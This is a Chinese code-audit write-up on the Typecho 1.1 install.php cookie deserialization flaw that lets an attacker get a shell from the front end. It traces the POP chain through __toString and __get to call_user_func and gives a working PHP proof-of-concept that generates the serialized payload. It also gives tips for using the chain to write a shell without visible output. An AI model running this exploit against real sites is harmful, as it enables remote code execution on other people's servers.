[php代码审计] Typecho 1.1 -反序列化Cookie数据进行前台Getshell

环境搭建

源码下载：https://github.com/typecho/typecho/archive/v1.1-15.5.12-beta.zip

下载后部署到web根目录，然后进行安装即可，其中注意要提前在mysql中创建一个对应的数据库.

漏洞分析

漏洞起始点前的障碍清除

先是一个refer检测，填写一个站内地址即可

$_SERVER中到底哪些是可以通过客户端进行控制的呢？？？

漏洞起始点

、

全局搜索所有的__wakeup函数和__destruct函数，但似乎都没有利用点

按照之前的思路，我一般就放弃了，但这题，让我见识了新思路。就是只要是用户可控的，可能在某一点没办法利用，但可能在其余的地方被利用

按照大师傅的思路，跟着输入流继续往下走

可以看到，$config可控，此时的不就会触发__toString了嘛！！！！

全局跟踪__toString

不得不说，phpstorm还是好啊，不仅支持函数预览，不用一个个手点进去。而且对于空函数还直接标注了。亏我还是从头开始找的。仔细看看图，后三个为有函数体的，前面没有函数体的，会微微泛黄

漏洞搜寻-测试点1

最开始看到这里的时候，我感觉都可以形成链子了，$callback $args 都可以控制

最后失败了，原因是这里的$callback是静态变量中的，如果是$this就可以了。。

漏洞搜寻-测试点2

不得不说这一段是真的长，只能慢慢看。看了好久，似乎没啥发现。。。

看了其他文章，才发现这里涉及__get触发--也就是访问了非public变量

这样的话，我们又开始要全局追踪__get函数了

只能说有点浮躁，不愿意继续往下跟踪，看了所有的都没发现漏洞。。。

看到了非常nice的函数！！！

回过头分析，判断确实都可控，直接构造pop链

install.php-> Typecho_Feed::_toString->Typecho_Request::__get()->Typecho_Request::get()->Typecho_Request::_applyFilter()->call_user_func($filter, $value)

POC

<?php

    class Typecho_Request{
        private $_filter = array();
        private $_params = array();
        public function __construct(){
            $this->_params['screenName'] = -1; //payload
            $this->_filter = array("phpinfo");
        }

    }

    class Typecho_Feed{
        private $_type = "ATOM 1.0";
        private $_charset = "UTF-8";
        private $_lang = "zh";
        private $_items = array();

        public function __construct(){
            $this->_items[0]['author'] =  new Typecho_Request();
            $this->_items[0]['categoty'] =  array(new Typecho_Request());
        }
    }

    $a = array();
    $a['adapter'] =  new Typecho_Feed();

    echo base64_encode(serialize($a));

成功

构造POC发现的问题

1. 类中的数据序列化前，确保它的访问属性保持一直，避免反序列化不成功！！！
2. 最开始构造了一个POC，结果总是返回一个数据库错误，因为在 install.php 的开头部分调用了程序调用了ob_start()，它会开启缓冲区并将要输出的内容都放进缓冲区，想要使用的时候可以再取出。但是我们的对象注入会在后续的代码中造成数据库错误。异常处理机制中最开始就直接将缓冲区清零了，所以会导致开始的目标信息无法输出。
   
   解决办法：调试的时候手动添加exit提前退出。实际情况下，就控制程序不要走Exception，避免ob_end_clean()清除缓冲区
3. 对于2的问题，只是会刷新缓冲区。但并不影响恶意代码的执行。所以如果直接进行shell的写入或类似的不需要回显的操作时，也是可以的。

ENDING

反序列化就是多跟，多联想。只要思路广，链子永不断！！！